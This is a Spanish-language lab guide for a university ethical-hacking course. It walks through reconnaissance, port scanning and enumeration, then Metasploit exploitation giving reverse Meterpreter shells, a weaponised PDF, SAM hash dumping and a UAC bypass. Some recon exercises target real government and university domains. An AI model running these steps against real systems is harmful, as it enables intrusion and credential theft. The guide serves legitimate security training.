Вы находитесь на странице: 1из 34

Ethical Hacking

Curso de Seguridad Informática

Alonso Eduardo Caballero Quezada


Consultor en Hacking Ético, Informática Forense & GNU/Linux

Sitio Web: http://www.ReYDeS.com

e-mail: ReYDeS@gmail.com
El Centro de Informática y Sistemas de la UCV Trujillo, a través de su Programa de Extensión le
agradece por participar en nuestro Curso Técnico Seguridad Informática - Módulo 1: Ethical
Hacking. A continuación se le detalla información importante sobre el Curso.

Descripción:
Las vulnerabilidades de seguridad, tales como configuraciones incorrectas, sistemas sin parches,
arquitecturas inadecuadas, continúan plagando las organizaciones. Las empresas necesitan
personal que encuentre estas fallas de forma profesional, para erradicarlas de la infraestructura
tecnológica. Algunas personas pueden tener habilidades en Pruebas de Penetración, Hacking
Ético, o Evaluaciones de Seguridad, pero muy pocas pueden aplicar estas habilidades con un
régimen metódico de evaluaciones profesionales para ayudar incrementar el nivel de seguridad en
las organizaciones. Este curso enseña a los participantes la manera de realizar Pruebas de
Penetración a redes de forma satisfactoria para mejorar la postura de seguridad de la empresa.

Objetivos:
Los participantes aprenderán a realizar un reconocimiento detallado, aprenderán sobre
infraestructura del objetivo, mediante investigación en blogs, buscadores, y redes sociales. Luego
se enfocará la atención en la fase de escaneo, experimentando con algunas herramientas en
ejercicios prácticos. La fase de explotación incluye la utilización de Frameworks de explotación,
exploits manuales y otras tácticas valiosas, todo realizado con ejercicios prácticos en un entorno
de laboratorio controlado. El curso también mostrará como preparar un reporte ejecutivo. Durante
el desarrollo del curso se incluyen ejercicios prácticos para realizar una prueba de penetración
contra una organización hipotética, siguiendo todos las fases detalladas.

Esperamos que disfrute y obtenga el máximo beneficio de este Curso, aumentando sus
conocimientos y desarrollando nuevas habilidades en el maravilloso mundo del Haking Ético.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 2


Consideraciones Importantes

1. Todos los ejercicios y ejemplos del presente Curso deben ser realizados solo dentro del
laboratorio o de un ambiente controlado. Debe tener en consideración que varios de los
ataques presentados en el presente documento pueden ser considerados ilegales. Por lo
tanto, no se deben ejecutar estos ejercicios contra sistemas o redes sin autorización. Es
por ello que se le proporcionan máquinas virtuales contra los cuales realizar los ataques.
Nosotros no somos responsables de las acciones realizadas por su persona fuera del
laboratorio. Así es que por favor, utilice los conocimientos adquiridos durante el Curso con
responsabilidad.

2. Revise las diapositivas proporcionadas para el Curso y las fuentes de referencia incluidas
en ellas, así mismo las indicadas por el Instructor. De esta manera podrá obtener el mayor
beneficio del Curso.

3. Las direcciones IP presentadas en el Curso son en su mayoría a modo de ejemplo. No


necesariamente se tienen que ejecutar los ejercicios contra esas direcciones IP, a menos
que así sea indicado por el Instructor. Se debe tratar de no copiar y pegar los comandos,
es mejor escribir cada uno de los ejercicios y aplicarlos al escenario específico de cada
ejercicio.

Generalmente el laboratorio tendrá las direcciones IP Privadas de los siguientes rangos de


red. 192.168.1/24, 192.168.0/24. Debe verificar esta información con los comandos
pertinentes presentados más adelante.

4. Revise las herramientas proporcionadas en los DVDs del Curso, pues de esta manera
enriquecerá su conocimiento sobre las herramientas existentes en el área. De igual
manera revise los documentos de referencia proporcionados en los DVDs, para
profundizar y aumentar sus conocimientos sobre este apasionante tema.

5. Debido a que cada persona tiene su propio ritmo de aprendizaje, nuestro curso se ayuda
de las diapositivas del Curso, la guía de ejercicios, sitios web y documentos de referencia
para mejorar la experiencia de aprendizaje. Se le sugiere que luego del Curso trate de
profundizar en los temas que se han incluido en el. Adquiriendo de esta manera el buen
hábito de la investigación.

6. Este Curso está orientado a ser lo más práctico posible, por lo tanto realice todos los
ejercicios y ejemplos detallados, o los indicados por el Instructor durante el desarrollo del
mismo. Si tuviera alguna consulta o pregunta, sírvase levantar la mano y formularla al
Instructor, el cual con todo gusto la absolverá.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 3


Ejercicios Parte 1

Proceda a iniciar Kali Linux en VMWare Player. Para ingresar a Kali Linux el usuario es: root y la
contraseña es: toor. Para ingresar al modo gráfico escriba lo siguiente desde la consola:

# startx

En adelante el símbolo “#” indica el prompt de la consola y no debe ser escrito.

Para iniciar una “Terminal”, hacer clic en el icono de la parte superior a un lado derecho de
“System”.

1.1. Utilizando Motores de Búsqueda para descubrir objetivos

Dentro de Kali Linux, proceda a ingresar a firefox y luego ingrese en dos ventanas diferentes a
Google ( http://www.google.com ) y Bing. ( http//www.bing.com ). Escriba en los recuadros de
búsqueda lo siguiente sin comillas “UCV”.

Para limitar los resultados a un dominio en particular utilice el siguiente operador en Google y
Bing:

site:presidencia.gob.pe

1.2. Búsqueda de versiones antiguas de un sitio web

Con Firefox ingrese a The Way Back Machine ( http://archive.org/web/web.php ). En el Recuadro


de búsqueda escriba lo siguiente y luego haga clic en el botón “Take Me Back”

http://www.peru.gob.pe

Ahora se le mostrará en base a una cronología de años, meses y días, las capturas que este sitio
tiene almacenada en su archivo de un sitio web determinado. Para visualizarla, sencillamente
haga clic en el año, mes y día respectivo.

1.3. Búsqueda de Mapas

Ahora que se tiene información del País, Departamento, Ciudad o Dirección, obtenida de diversas
fuentes, es factible ubicar la localización física del objetivo, utilizando Google Maps
( https://maps.google.com/ ) o Bing Maps ( http://www.bing.com/maps/ ). proceda a ingresar la
información que usted crea pertinente dentro del recuadro de búsqueda. Estas búsquedas son
útiles para ubicar puntos de acceso inalámbricos y entradas de acceso físicas.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 4


1.4. Consultas Whois

La herramienta whois viene por defecto en los sistemas GNU/Linux. Para realizar las consultas
WHOIS se necesita tener acceso de salida al puerto TCP/43.

Consulta Whois en modo consola al dominio peru.com

# whois com -h whois.iana.org

# whois peru.com -h whois.verisign-grs.com

# whois peru.com -h whois.networksolutions.com

Consulta Whois en modo consola al dominio “Peruano” ucv.edu.pe

# whois ucv.edu.pe -h kero.yachay.pe

Es factible realizar estas mismas consultas mediante algunas de las siguientes páginas web.

http://www.iana.org/cgi-bin/whois
http://www.whois.sc/
http://www.internic.net/whois.html
http://www.all-nettools.com/toolbox/smart-whois.php

1.5. Consultas DNS con nslookup, dig, etc.

Transferencia de zona: Dentro de una consola en Kali Linux proceda a ejecutar los siguientes
comandos.

# nslookup
> server dns3.unired.net.pe
> set type=axfr
> ucv.edu.pe

Otra manera de hacer esta consulta es con el siguiente comando:

# dig @dns3.unired.net.pe ucv.edu.pe -t AXFR

Consulta Registro MX de Intercambio de Correo:

# host peru.com
# host -t MX peru.com

Consulta de los servidores DNS de un dominio:

# host -t NS peru.com

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 5


Consulta de todos los registros en el DNS

# dig -t ANY @dns1.stabletransit.com peru.com


# host -t ANY peru.com dns2.stabletransit.com

DNSEnum. Enumera información del DNS de un dominio y descubre bloques de direcciones IP


que no están contiguos.

# dnsenum -f dns.txt microsoft.com --dnsserver ns4.msft.net

1.6. Herramientas para encontrar vulnerabilidades utilizando motores de Búsqueda

Dentro de Kali Linux ingrese con Firefox a la página ( www.google.com ), y proceda a realizar las
siguientes búsquedas manuales. Luego de cada una de ellas analice los resultados que muestran
estas búsquedas.

site: ucv.edu.pe
intitle:index.of app
inurl:intranet
allintext:”hacking etico”
site:gob.pe inurl:login
site:mil.pe filetype:doc
site:org.pe "parent directory"

En Windows se pueden utilizar los siguientes programas.

FoundStone SiteDigger: Proceda a instalar el programa SiteDigger, Ahora ejecute el programa y


seleccione una lista pequeña del panel izquierdo, por ejemplo haga un “check” en “FSDB(175) ->
Backup Files(12)”. En el recuadro donde dice “Site/Domain” ingrese el dominio del objetivo a
evaluar, por ejemplo ( astalavista.box.sk ). Para iniciar el escaneo haga clic en “Scan”.

Sitios Web con Bases de Datos

GHDB. (Google Hacking DataBases)

http://www.exploit-db.com/google-dorks/
http://www.hackersforcharity.org/ghdb/

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 6


Ejercicios Parte 2

2.1. Utilizando WireShark para el Escaneo

En Kali Linux proceda a ejecutar WireShark Luego de lo cual se le presentará una ventana de
advertencia sobre que Wireshark está ejecutándose como “root”. Solo proceda a hacer clic en el
botón “OK”.

En la parte izquierda del programa encontrara una Lista de Interfaces (Interface List), proceda solo
a seleccionar la interfaz cuyo tráfico desea capturar. Para iniciar el proceso de captura haga clic
en el icono ubicado en la parte superior izquierda con la descripción “Start a New Live Capture”.

Las direcciones IP o rangos de red presentadas a continuación, solo para realizar el ejemplo. Se
debe cambiar estos datos en base a su escenario de trabajo.

Capturar tráfico originado desde una dirección IP


ip.src == 192.168.1.77

Captura tráfico destinado para una dirección IP


ip.dst == 192.168.1.1

Captura todo el tráfico de una dirección IP.


ip.addr == 192.168.1.77

Filtrar por protocolo


http ó ftp ó tcp ó icmp, etc.

Aplicar una condición al filtrado


http && ip.src == 192.168.1.77

Filtrar tráfico por puerto


tcp.port == 80

Mostrar tráfico solo entre 192.168.1.X


ip.src == 192.168.1.0/24 and ip.dst == 192.168.1.0/24

Captura tráfico al puerto 80 hacia un destino


ip.dst == 192.168.1.77 && tcp.port == 80

2.2. Barridos de Red

Ping Sweeps. Con las siguientes herramientas se pueden realizar barridos a la red utilizando un
“Ping”.

Ping utiliza por defecto ICMP. Aunque también se puede utilizar TCP o UDP

# ping www.peru.com

Fping. Utilizar el parámetro -g permite generar una lista de objetivos, y con el parámetro -a se
muestran los objetivos que están “vivos”.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 7


# fping -g -a 192.168.1.0/24

El parámetro -sn de Nmap realiza escaneo con pings, pero no escanea puertos.

# nmap -sn 192.168.1.0/24 (Ping Scan)

TCP Ping sweep. El parámetro -S defina activa la bandera SYN, y el parámetro -p permite definir
el puerto destino.

# hping3 192.168.1.77 -S -p 80

UDP Ping sweep. El parámetro -2 indica que se está utilizando el modo UDP

# hping3 -2 192.168.1.77

2.3. Hping con WireShark

En los siguientes ejercicios se crearán y manipularán paquetes con hping3 y se vigilará el tráfico
generado con WireShark.

Para los siguientes ejercicios utilice como objetivo la dirección IP de la máquina virtual con
Metasploitable u otra máquina virtual. Proceda a iniciar Wireshark tal como se detalló en el
ejercicio 2.1.

Desde una consola o terminal en Kali Linux ejecute los siguientes comandos y analice los
resultados en Wireshark Para terminar el funcionamiento de hping3 utilice la combinación de
teclas “Control+C” .

Prueba ICMP. Envía un ICMP request y recibe un ICMP reply.

# hping3 -1 192.168.1.77

Envía un paquete SYN a puerto definido, desde un puerto específico.

# hping3 -V -S -p 80 -s 5050 192.168.1.77

Otro tipo de ICMP. Enviando un address mask request (Tipo 17)

# hping3 -c 1 -V -1 -C 17 192.168.1.77

Otro tipo de Escaneo de Puertos. FIN Scan.

# hping3 -c 1 -V -p 80 -s 5050 -F 192.168.1.77

ACK Scan

# hping3 -c 1 -V -p 80 -s 5050 -A 192.168.1.77

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 8


Xmas Scan

# hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 192.168.1.77

NULL Scan

# hping3 -c 1 -V -p 80 -s 5050 -Y 192.168.0.77

2.4. Trazar la Red

En Kali Linux se pueden utilizar los siguientes comando para realizar el trazado de la ruta de los
paquetes hacia un host destino.

Por defecto utiliza UDP para el rastreo.

# traceroute www.facebook.com

Utiliza ICMP Echo para el trazado.

# traceroute -I www.facebook.com

Equivalente a tcptraceroute. Utiliza TCP SYN para el trazado y por defecto hacia el puerto 80.

# traceroute -T www.facebook.com

Trazado de la ruta de los paquetes al objetivo enviando paquetes TCP SYN

# tcptraceroute www.facebook.com

2.5. Más sobre el trazado de la red

Existen otras herramientas que permiten realizar trazados de la red. Se recomienda utilizar para
los siguientes ejercicios algunos objetivos en Internet. Modifique la dirección IP por la dirección o
dominio del objetivo.

TCPtraceroute es una implementación de traceroute que utiliza paquetes TCP. El parámetro -i


define la interfaz de red a utilizar, -q en número de consultas, -w el tiempo de espera, -S define
paquetes con la la bandera TCP SYN activa. Y finalmente se indica el puerto destino 80.

# tcptraceroute -i eth1 -q 1 -w 1 -S 200.37.69.4 80

2.6. Escaneo de Puertos

Como en los anteriores ejercicios, se recomienda utilizar Wireshark mientras se ejecutan los
siguientes escaneos. A continuación se tratará de determinar cuales son los servicios en ejecución
o en atención, mediante diferentes tipos de escaneos utilizando nmap.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 9


En parámetro -v permite mostrar más información sobre el escaneo y -n no realiza una resolución
DNS. Se debe modificar la dirección IP mostrada en los ejemplos por la del objetivo a analizar.

TCP Connect Scan

# nmap -sT -v -n 192.168.1.77

TCP SYN Scan

# nmap -sS -v -n 192.168.1.77

TCP FIN Scan

# nmap -sF -v -n 192.168.1.77

TCP Xmas Scan

# nmap -sX -v -n 192.168.1.77

TCP NULL Scan

# nmap -sN -v -n 192.168.1.77

TCP ACK Scan

# nmap -sA -v -n 192.168.1.77

TCP Window Scan

# nmap -sW -v -n 192.168.1.77

UDP Scan

# nmap -sU -v -n 192.168.1.77

2.7. Escaneo de puertos a profundidad

Los siguientes ejercicios deben ser ejecutados contra una máquina virtual ya sea Windows o
Linux. Se recomiendo ejecutar de igual manera WireShark para vigilar y analizar el tráfico.

Opción trazado de paquetes:

# nmap -PN --packet-trace 192.168.1.77

Nmap tiene algunas opciones de velocidad por defecto. Estas son las siguientes:

-T0 / Paranoico: Extremadamente lento.


-T1 / Sigiloso: Útil para evitar Sistemas de Detección de Intrusiones.
-T2 / Cortés: Poco probable que interfiera con el sistema objetivo.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 10


-T3 / Normal: Es la plantilla de medida de tiempo pro defecto.
-T4 / Agresivo: Produce resultados más rápidos sobre redes locales.
-T5 / Loco: Escaneo muy rápido y agresivo.

# nmap -T3 -v 192.168.1.77

Escaneos personalizados: Flag se puede definir con: SYN, ACK, PSH, URG, RST, FIN.

# nmap --scanflags SYNURG 192.168.1.77

Realizar un escaneo rápido: Escaneo de los 100 puertos más comúnmente utilizados.

# nmap -F 192.168.1.77

Escaneo de puertos específicos.

# nmap -p25,80,100-200 192.168.1.77

Escaneo de puertos por protocolo. Realiza un escaneo TCP y UDP al mismo tiempo puertos
específicos.

# nmap -sU -sT -p U:53,T:25 192.168.1.77

Escaneo de todos los puertos.

# nmap -p “*” 192.168.1.77

Escaneo de principales puertos. En esta caso particular los 10 principales puertos.

# nmap --top-ports 10 192.168.1.77

Escaneo secuencial

# nmap -r 192.168.1.77

Nmap contiene características que permite evaluar o evadir firewalls.

Paquetes fragmentados: Fragmenta las pruebas en paquetes de 8 bytes.

# nmap -f 192.168.1.77

Utilizar un Señuelo.

# nmap -D RND:10 192.168.1.77

Especificar manualmente el puerto de origen.

# nmap --source-port 53 192.168.1.77

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 11


2.8. Detectar el Sistema Operativo

Detección del Sistema Operativo, mediante la Huella Activa de la Pila

# nmap -O 192.168.1.77

Escaneo de todos los puertos con reconocimiento del Sistema Operativo.

# nmap -p1-65535 -O 192.168.1.77

Especificación del puerto 80 para el escaneo. En caso no hubiera ningún puerto abierto en el
sistema objetivo, nmap tratará de adivinar la mejor aproximación al S.O.

# nmap -p80 -O 192.168.1.77

xprobe2 es otra de las herramientas que puede ser utilizada para detectar el Sistema Operativo de
manera activa.

# xprobe2 192.168.1.77

Se puede definir también a xprobe2 un puerto, protocolo y su estado, para realizar el escaneo.

# xprobe2 -p tcp:80:open 192.168.1.77

2.9. Escaneo de versiones con nmap & amap

nmap contiene más de 3000 patrones que corresponden a unos 350 protocolos.

Realizar un escaneo de versiones .

# nmap -sV 192.168.1.77 -p1-65535

Muestra más información durante el escaneo de versiones.

# nmap -sV --version-trace -p1-65535 192.168.1.77

Escaneo de Versiones a tres puertos específicos del objetivo.

# nmap -sV -v -p 25,80,100 192.168.1.77

amap es una herramienta de escaneo que permite identificar las aplicaciones ejecutándose en un
puerto específico.

Para obtener información del puerto 80.

# amap 192.168.1.77 80

Información de todos los puertos abiertos.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 12


# amap -q 192.168.1.77 1-65535

Imprime los banners de la respuesta obtenida.

# amap -b -q -v 192.168.1.77 1-65535

2.10. Encontrando Vulnerabilidades con NSE

NSE o Nmap Scripting Engine tiene las siguientes categorías:

all: Ejecuta todos los scripts NSE disponibles


auth: Scripts relacionados a la autenticación
default: Ejecuta un conjunto básico de scripts por defecto
discovery: Intenta descubrir información más profunda sobre el objetivo
external: Scripts que contactan fuentes externas (como bases de datos whois)
intrusive: Scripts los cuales pueden ser considerados intrusivos por el sistema objetivo
malware: Scripts que verifican por backdoors o malware
safe: Scrips basicos que no son intrusivos
vuln: Verifica el objetivo por vulnerabilidades comúnmente explotadas.
Otros: broadcast, brute, dos, expoit, fuzzer.

Se puede obtener más información desde la página: http://nmap.org/nsedoc/

Las manera más sencilla de ejecutar la categoría “default” o por defecto, es la siguiente:

# nmap --script default 192.168.1.77

Rastrear el proceso de los scripts NSE.

# nmap --script default --script-trace 192.168.1.77

En los siguientes tres comando se ejecutan diferentes categorías contra el objetivo.

# nmap --script discovery 192.168.1.77

# nmap --script intrusive 192.168.1.77

# nmap --script vuln 192.168.1.77

2.11. Escaneo de Vulnerabilidades

Nessus

Para ingresar a la interfaz web de Nessus, proceda a abrir Firefox y escriba lo siguiente en la
barra de direcciones: https://127.0.0.1:8834 .

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 13


En caso se muestre un mensaje relacionada a la que conexión no es confiable “This connection is
Untrusted”, proceda a hacer clic en “I Understand the Risks” y añada la excepción “Add
Exception”. En la siguiente ventana haga clic en el botón “Confirm Security Exception”. Luego de
lo cual Nessus se estará iniciando. Se debe tener en consideración que este proceso final puede
demorar varios minutos.

Una vez iniciado Nessus siga las instrucciones del Instructor.

2.12. Enumeración

Un mecanismo para la fase de enumeración es obtener y capturar información de los banners de


cada servicio en el objetivo. La manera más sencilla de realizar esto es conectarse al puerto y
tratar de obtener manualmente más información.

Proceda a realizar algunos de los siguientes ejercicios contra la máquina virtual de Windows o
Metasploitable.

FTP, TCP 21 (File Transfer Protocol)

Verificar ingresando el usuario “anonymous” o “user” y luego la contraseña


“fantasma@correo.com” o “user” Esto permitiría autenticarse como usuario Anónimo o un usuario
valido.

# ftp
ftp> open 192.168.1.77

SSH, TCP 22 (Secure SHell)

Ejecutar el siguiente comando y luego presionar la tecla enter.

# nc -v -n 192.168.1.77 22

TELNET, TCP 23

Ejecutar el siguiente comando y luego presionar la tecla enter.

# telnet 192.168.1.77 23

SMTP, TCP 25 (Simple Mail Transfer Protocol)

Ejecutar el siguiente comando y luego presionar la tecla enter.

# telnet 192.168.1.77 25

Una vez conectado proceda a intentar verificar la existencia del usuario “root” con el siguiente
comando

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 14


vrfy root

También se pueden revelar el alias de la dirección de entrega y lista de correos, con los siguientes
comandos:

expn test
expn papasfritas

Si este ataque es satisfactorio puede proporcionar al atacante nombres de cuentas locales validas
en el sistema.

DNS, TCP/UDP 53 (Domain Name System)

Para obtener la versión del servidor DNS ejecute el siguiente comando y presione al final la tecla
enter.

# dig @servidordns.com version.bind txt chaos

HTTP, TCP 80 (HiperText Tranfer Protocol)

Para obtener las información que brinda el método HEAD proceda a ejecutar los siguientes
comandos:

# nc -v 192.168.1.77 80

Inmediatamente escribir

HEAD / HTTP/1.0

Y presionar dos veces la tecla “enter”.

Se el sitio web objetivo utiliza SSL se puede ejecutar el siguiente comando:

# openssl s_client -host www.viabcp.com -port 443

Microsoft RPC EndPoint Mapper (MSRPC), TCP 135

En Windows, proceda a descomprimir el archivo rpdump.zip. Luego en una consola (cmd)


proceda a ejecutar el siguiente comando.

C:\>epdump 192.168.1.77

NetBIOS Name Service Enumeration, TCP 137

Enumerando Grupos de trabajo y dominios Windows con net view.

Enumera Dominios en la Red.


C:\>net view /dominio

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 15


Lista computadoras en un Dominio Particular.
C:\>net view /dominio:particular

Enumera los Controladores de Dominio en Windows.


C:\>nltest /dclist:PC

En Windows se puede volcando la Tabla de nombres NetBIOS con nbtstat y nbtscan.

C:\>nbtstat -A 192.168.1.77

En Windows también se puede utilizar el archivo nbtscan-1.0.35.exe. Proceda a abrir una consola
ir a directorio indicado y ejecutar el siguiente comando.

C:\>nbtscan-1.0.35.exe -f 192.168.1.77

En GNU/Linux también se puede realizar la enumeración NetBIOS, con los siguientes comandos.

# nmblookup -A 192.168.0.23 -d
# nbtscan -v -h 192.168.0.23

NetBIOS Session Enumeration, TCP 139/445

Windows NT y sus descendientes tienen un talón de alquiles.

La Sesión Nula en Windows se considera el Santo Grial de la Enumeración.

C:\>net use \\192.168.1.77\IPC$ "" /u:""

Para borrar las sesiones remotas, proceda a ejecutar el siguiente comando.

C:\>net use * /delete

Si se tiene un usuario y contraseña se puede ejecutar el siguiente comando.

C:\>net use \\192.168.0.23\IPC$ password /u:usuario

Proceda a descomprimir el archivo sid.zip en el Sistema. Y luego proceda a ejecutar los siguiente
comandos desde consola.

Consulta el sid del usuario Administrador

C:\>user2sid \\192.168.1.77 Administrador


S-1-5-21-2052111302-2052111302-842925246-500

Ahora se puede realizar la enumeración de otros usuarios modificando el valor 500 por 501, etc.

C:\>sid2user \\192.168.1.77 5 21 2052111302 2052111302 842925246 501

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 16


SNMP, UDP 161

Para mostrar el nombre del sistema se puede ejecutar el siguiente comando desde consola.

# snmpget -c public -v 2c 192.168.1.77 system.sysName.0

Para muestrar el contenido completo de la MIB (Management Information Base) se debe ejecutar
el siguiente comando.

# snmpwalk -c public -v 2c 192.168.1.77

Escaners SNMP

En Windows se puede realizar la enumeración modo visual con SNScan de la siguiente manera.
Proceda a descomprimir el archivo snscan.zip haciendo doble clic en el archivo y extrayendo su
contenido en el sistema. Luego proceda a escribir la dirección IP del objetivo y presione el boton
con la flecha azul.

También se puede utilizar el siguiente programa si ya se tiene conocimiento del nombre


“community” y que el sistema es un Windows.

# snmpenum 192.168.1.77 public windows.txt

2.13. Netcat

Netcat viene por defecto en Kali Linux y para usarlo solo debe escribir nc. En windows proceda a
descomprimir el archivo netcat.zip. En el directorio raiz de su sistema. Recuerde que debe de
ejecutar el archivo nc.exe desde el directorio donde ha sido descomprimido.

Modo Cliente / Servidor.

Para utilizar netcat en modo Cliente y Servidor, proceda a ejecutar en consola dentro de Kali Linux
el siguiente comando; el cual ejecutará netcat en modo “escucha” o de atención. (Servidor).

# nc -n -v -l -p 5555

Ahora en una máquina virtual Windows o el sistema real, proceda a abrir en una consola el
programa “cmd.exe”, y luego proceda a ejecutar el siguiente comando. Se debe recordar que la
dirección IP debe ser modificada por la dirección IP de Kali Linux.

C:\> nc.exe -v -n 192.168.01.77 5555

Proceda a escribir algo en la consola de la máquina virtual windows o real, y analice los resultados
obtenidos. Si algo no funciona correctamente, verifique que no haya algún tipo de filtrado o
inconveniente de conexión entre las máquinas y que los comandos han sido ejecutados
correctamente.
Transferencia de archivos.

En una consola dentro de Kali Linux ejecute el siguiente comando.

# nc -v -w 30 -l -p 8888 > archivo.txt

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 17


Ahora en la máquina virtual windows o sistema real, ejecute en una consola (cmd) el siguiente
comando. Se debe modificar la dirección IP por la de Kali Linux y cambiar el nombre de archivo.txt
por el nombre del archivo que se desea transferir.

C:\> nc.exe -v -w 2 192.168.1.77 8888 < archivo.txt

Escaneo de puertos con netcat.

Con el siguiente comando se puede realizar un sencillo escaneo de puertos con netcat. La opción
-v mostrará más información sobre el proceso, -n no realizará una resolución a los DNS de la
dirección IP, -z implica que no hay entrada ni salida de datos y -w1 indicará a netcat no esperar
más de 1 segundo para que se realice la conexión.

# nc -v -n -z -w1 192.168.1.77 20-100

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 18


Ejercicios Parte 3

3.1. Utilizando Metasploit Framework

Para ejecutar Metasploit Framework, proceda ejecutar en una terminal o consola el siguiente
comando:

# msfconsole

Después de esperar unos momentos, se presentará un banner con información sobre Metasploit
Framework. El prompt de Metasploit será

msf >

A continuación se detallarán ejercicios de explotación utilizando Metasploit Framework. Se debe


tener especial cuidado en ejecutar los comandos contra las direcciones IP y puertos indicados de
las máquinas virtuales del laboratorio.

49243: Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote
Code Execution

Más Información: http://osvdb.org/49243

msf > search ms08_067

msf > use exploit/windows/smb/ms08_067_netapi

msf > show options

msf > set RHOST [Dirección IP de WindowsXP]

msf > set PAYLOAD windows/shell/reverse_tcp

msf > show options

msf > set LHOST [Dirección IP de Kali Linux]

msf > set LPORT 7777

msf > exploit

Si el ejercicio se ha realizado correctamente, se obtendrá un shell reverso en el Sistema Windows


objetivo.

49520: Adobe Reader / Acrobat util.printf() Function Crafted PDF File Handling Overflow

Más Información: http://osvdb.org/49520

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 19


msf > search adobe_utilprintf

msf > use exploit/windows/fileformat/adobe_utilprintf

msf > set FILENAME carta.pdf

msf > set PAYLOAD windows/meterpreter/reverse_tcp

msf > set LHOST [Dirección IP de Kali Linux]

msf > set LPORT 8888

msf > show options

msf > exploit

Si todo se ha realizado correctamente se creará el archivo de nombre carta.pdf

En un escenario real, el archivo “carta.pdf” se debe enviar por cualquier medio a la victima con la
intención de que esta lo visualice. Para propósitos del ejercicio se procederá a transferir el archivo
creado a la máquina virtual Windows XP, utilizando netcat.

Ejecute el siguiente comando en una consola (cmd) dentro de la máquina virtual de Windows XP.
Este comando recibirá la conexión y creará el archivo “carta.pdf”

C:\> nc -v -w 30 -l -p 8888 > carta.pdf

En Kali Linux proceda a iniciar una nueva consola y a escribir los siguientes comandos. El
segundo comando enviará el archivo “carta.pdf” hacia el Sistema Windows XP.

# nc -v -w 2 [Dirección IP de WindowsXP] < carta.pdf

Ahora en Kali Linux se debe ejecutar un “manejador”, el cual recibirá la conexión que realizará la
máquina objetivo.

msf > use exploit/multi/handler

msf > set PAYLOAD windows/meterpreter/reverse_tcp

msf > set LPORT 8888

msf > set LHOST [Dirección IP de Kali Linux]

msf > exploit

61697: Microsoft IE mshtml.dll Use-After-Free Arbitrary Code Execution (Aurora)

Más Información: http://osvdb.org/61697

msf > search aurora

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 20


msf > use exploit/windows/browser/ms10_002_aurora

msf > show options

msf > set SRVHOST [Dirección IP de Kali Linux]

msf > set SRVPORT 80

msf > set URIPATH /

msf > exploit

Ahora desde la máquina virtual de Windows XP proceda a ingresar a la dirección IP de Kali Linux,
luego de lo cual se debe esperar un tiempo prudencial para que se ejecute el exploit. Si el ejercicio
se ha realizado correctamente, en Kali Linux se mostrará el siguiente mensaje “Meterpreter
session X opened”. Esto significa que el exploit ha sido satisfactorio y ahora se debe presionar la
tecla “enter” y escribir el siguiente comando:

msf > sessions -i ID

Donde ID es el número de sesión mostrado por Metasploit Framework.

Luego presionar la tecla “enter” y si el ejercicio ha sido realizado correctamente, se obtendrá el


siguiente prompt, el cual corresponde a Meterpreter.

meterpreter >

3.2. Uso de Meterpreter luego de la Explotación

Una vez realizado de manera correcta el ejercicio anterior, se procederá a interactuar con el
objetivo comprometido utilizando Meterpreter.

meterpreter > getuid

meterpreter > use priv

meterpreter > getsystem -h

Con el siguiente comando se puede obtener privilegios de SYSTEM.

meterpreter > getsystem

meterpreter > getuid

Con Meterpreter resulta bastante sencillo hacer un volcado del contenido de la base de datos
SAM.

meterpreter > hashdump

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 21


Proceda a seleccionar el volcado obtenida de las contraseñas y luego proceda a pegarlo en un
editor. Ahora proceda a guardar el archivo con la opción “Save” y con el nombre “hashs.txt”, y
luego haga clic en el botón “Save”.

66387: Microsoft Windows Shell LNK File Parsing Arbitrary Command Execution

Más Información: http://osvdb.org/66387

msf > search LNK

msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

msf > show options

msf > set SRVHOST [Dirección IP de Kali Linux]

msf > set SRVPORT 80

msf > set URIPATH /

msf > set PAYLOAD windows/meterpreter/reverse_tcp

msf > set LHOST [Dirección IP de Kali Linux]

msf > set LPORT 4444

Ahora en la máquina virtual de Windows7 proceda a ejecutar el navegador de Internet Explorer e


ingrese la dirección dirección IP de Kali Linux en la barra de direcciones. En caso se presente un
mensaje de advertencia, proceda a hacer clic en “Permitir”. Si el ejercicio se ha realizado
correctamente se presentará un mensaje de Meterpreter detallando el número de sesión abierta.
Presione la tecla “enter” y escriba los siguientes comandos.

msf > sessions -i

msf > sessions -i ID

Donde ID es el número de sesión.

Windows Escalate UAC Protection Bypass. Este módulo permite evadir UAC (User Account
Control) de Windows.

Más Información: http://metasploit.org/modules/post/windows/escalate/bypassuac

Con los siguiente comandos se ejecutará un manejador para la conexión entrante que se realizará
más adelante en el ejercicio.

msf > use multi/handler

msf > set PAYLOAD windows/meterpreter/reverse_tcp

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 22


msf > set LHOST [Dirección IP de Kali Linux]

msf > set LPORT 8888

msf > exploit

El escenario aquí es generar un archivo con una “carga” que la victima ejecutará en su sistema.
